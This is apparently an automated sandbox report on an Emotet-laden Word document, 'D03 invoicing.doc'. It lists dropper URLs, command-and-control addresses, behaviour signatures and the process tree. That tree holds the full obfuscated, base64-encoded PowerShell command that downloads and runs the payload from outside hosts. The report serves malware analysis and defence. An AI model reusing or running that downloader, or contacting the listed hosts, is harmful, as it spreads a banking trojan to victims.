Overview

overview

10

Static

static

8

D03 invoicing.doc

windows7_x64

10

D03 invoicing.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28/08/2020, 19:45

Sharing

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Report Analysis Logs

General

  • Target
    D03 invoicing.doc
  • Size 217KB
  • Sample200828-jk64dsbaaa
  • SHA256 61b07086c4af9bc5e487df0064a1d6431f11271b1ac405e22e0e47e5f4af7073
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://blindshade.com/asc-ga/attach/PsysR/
  • exe.dropper

    http://darcyaraya.com/cgi-bin/attach/mjGZ/
  • exe.dropper

    http://desolcasa.com/libraries/vIIrdbnIpR/
  • exe.dropper

    http://pontualpromocoes.com.br/SITE_OLD/attach/WJUj/
  • exe.dropper

    https://s-tech.hu/contactform/FMRA/
  • exe.dropper

    https://toprakmedia.com/file/JZvy/
  • exe.dropper

    http://tohohop.net/bot/file/VcFQqtQn/

Extracted

Family

  • emotet

C2

  • 190.136.179.102:80

  • 97.107.135.148:8080

  • 94.102.209.63:7080

  • 162.144.42.60:8080

  • 81.214.253.80:443

  • 87.106.231.60:8080

  • 107.161.30.122:8080

  • 66.61.94.36:80

  • 139.59.12.63:8080

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 179.62.238.49:80

  • 50.116.78.109:8080

  • 74.208.173.91:8080

  • 113.161.148.81:80

  • 179.5.118.12:80

  • 202.5.47.71:80

  • 91.83.93.103:443

  • 181.113.229.139:443

  • 41.185.29.128:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\D03 invoicing.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAG0AOQBpAHMAYQB0AD0AKAAoACcARQAnACsAJwA5AGcAJwArACcANwBrAGcAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIAYABJAFQAWQBgAHAAYABSAGAATwBUAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABPAGgAMABzAHgANAAxACAAPQAgACgAJwBCACcAKwAoACcAdABzAHgAOABtACcAKwAnADQAcAAnACkAKQA7ACQAQgB6AHUAawBlAGwAaQA9ACgAKAAnAFoAcABvAHUAMgAnACsAJwByACcAKQArACcAagAnACkAOwAkAEgAOQBnAGkAdwBxADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAZQBYAE4AdwAnACsAJwBvACcAKQArACcAcgBkACcAKwAoACcAZQBYAE4AJwArACcAMgAnACkAKwAoACcAMAAnACsAJwAxADkAZQBYACcAKwAnAE4AJwApACkALgAiAFIAZQBwAGAATABgAEEAQwBlACIAKAAoAFsAYwBoAEEAUgBdADEAMAAxACsAWwBjAGgAQQBSAF0AOAA4ACsAWwBjAGgAQQBSAF0ANwA4ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQBSAF0AOQAyACkAKQArACQATwBoADAAcwB4ADQAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWABjAHkAawBjAGUAbwA9ACgAJwBLACcAKwAnAHEAJwArACgAJwBkAGwAJwArACcAZABiADcAJwApACkAOwAkAEIAYgB0ADMAdQBkAHYAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFcAaABxAGoAMwBqAHcAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACkAKwAoACcALwBiAGwAaQBuACcAKwAnAGQAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwBhAGQAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGEAcwAnACkAKwAnAGMAJwArACgAJwAtAGcAJwArACcAYQAnACkAKwAoACcALwAnACsAJwBhAHQAJwApACsAJwB0ACcAKwAoACcAYQBjAGgALwBQAHMAJwArACcAeQBzACcAKwAnAFIALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwBkACcAKwAnAGEAcgBjAHkAYQByACcAKwAnAGEAeQAnACkAKwAoACcAYQAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACkAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpAG4AJwArACcALwBhAHQAdABhACcAKQArACgAJwBjAGgALwBtACcAKwAnAGoAJwApACsAKAAnAEcAWgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAZABlAHMAJwApACsAJwBvAGwAJwArACcAYwBhACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvAG0ALwBsAGkAJwApACsAJwBiAHIAJwArACgAJwBhAHIAaQBlACcAKwAnAHMALwAnACsAJwB2AEkASQAnACkAKwAoACcAcgAnACsAJwBkAGIAbgAnACkAKwAnAEkAJwArACcAcAAnACsAKAAnAFIALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBwAG8AbgB0AHUAJwArACcAYQBsACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAbwBtACcAKQArACgAJwBvAGMAJwArACcAbwBlAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALgBiACcAKwAnAHIALwAnACsAJwBTAEkAVABFAF8AJwArACcATwBMAEQAJwApACsAJwAvAGEAJwArACgAJwB0ACcAKwAnAHQAYQAnACkAKwAoACcAYwAnACsAJwBoAC8AVwBKACcAKQArACgAJwBVAGoAJwArACcALwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAcwAtACcAKwAnAHQAJwApACsAJwBlACcAKwAnAGMAJwArACcAaAAuACcAKwAoACcAaAB1AC8AYwBvACcAKwAnAG4AJwApACsAJwB0AGEAJwArACgAJwBjAHQAZgBvAHIAbQAnACsAJwAvACcAKwAnAEYATQBSAEEAJwApACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdAAnACkAKwAoACcAbwBwACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAawBtACcAKQArACgAJwBlAGQAJwArACcAaQAnACkAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGYAaQAnACkAKwAnAGwAJwArACcAZQAnACsAKAAnAC8ASgBaAHYAJwArACcAeQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdAAnACsAJwBvAGgAJwApACsAJwBvACcAKwAoACcAaABvACcAKwAnAHAALgBuACcAKwAnAGUAdAAvAGIAbwAnACkAKwAnAHQALwAnACsAKAAnAGYAJwArACcAaQBsAGUAJwArACcALwBWAGMAJwArACcARgBRAHEAJwArACcAdABRAG4ALwAnACkAKQAuACIAUwBQAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADAAcgBsAF8AXwBiAD0AKAAoACcAWQA5AGsAJwArACcAMgBfACcAKQArACcAYQBtACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeAA5AHkAMQByADAAIABpAG4AIAAkAFcAaABxAGoAMwBqAHcAKQB7AHQAcgB5AHsAJABCAGIAdAAzAHUAZAB2AC4AIgBEAG8AVwBuAEwATwBhAGQAYABGAGkAYABsAEUAIgAoACQAQQB4ADkAeQAxAHIAMAAsACAAJABIADkAZwBpAHcAcQA5ACkAOwAkAEYAaABhAGoAZQBmAGkAPQAoACgAJwBJADEANwAnACsAJwB6ACcAKQArACcAaAAnACsAJwA5ADYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAOQBnAGkAdwBxADkAKQAuACIATABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMAA1ADAAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQASAA5AGcAaQB3AHEAOQApADsAJABXAGIAMwBhADAAcAA4AD0AKAAoACcAQQBtAGUAJwArACcANQAnACsAJwB4ADYAJwApACsAJwBvACcAKQA7AGIAcgBlAGEAawA7ACQAQgBjADcAYgB3AHAAbgA9ACgAKAAnAE8AXwAnACsAJwBqAGUAJwApACsAKAAnAG4AcQAnACsAJwBhACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGgAZgAwAHUAYQBqAD0AKAAoACcAQwAnACsAJwBpAGQAJwApACsAJwA1AGQAJwArACcAZAB6ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Windows\SysWOW64\mstscax\sppcext.exe
        "C:\Windows\SysWOW64\mstscax\sppcext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1856

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1124-2-0x0000000008A20000-0x0000000008A24000-memory.dmp
        Download

        memory/1124-6-0x000000000AB90000-0x000000000AB94000-memory.dmp
        Download

        memory/1124-0-0x000000000032F000-0x0000000000333000-memory.dmp
        Download

        memory/1332-18-0x00000000003B0000-0x00000000003BC000-memory.dmp
        Download

        memory/1856-22-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/1912-10-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/1912-15-0x000000001C180000-0x000000001C181000-memory.dmp
        Download

        memory/1912-14-0x000000001B6D0000-0x000000001B6D1000-memory.dmp
        Download

        memory/1912-13-0x0000000002410000-0x0000000002411000-memory.dmp
        Download

        memory/1912-12-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/1912-11-0x000000001AC80000-0x000000001AC81000-memory.dmp
        Download

        memory/1912-9-0x000007FEE9BF0000-0x000007FEEA5DC000-memory.dmp
        Download

        memory/1992-23-0x000007FEF6AA0000-0x000007FEF6D1A000-memory.dmp
        Download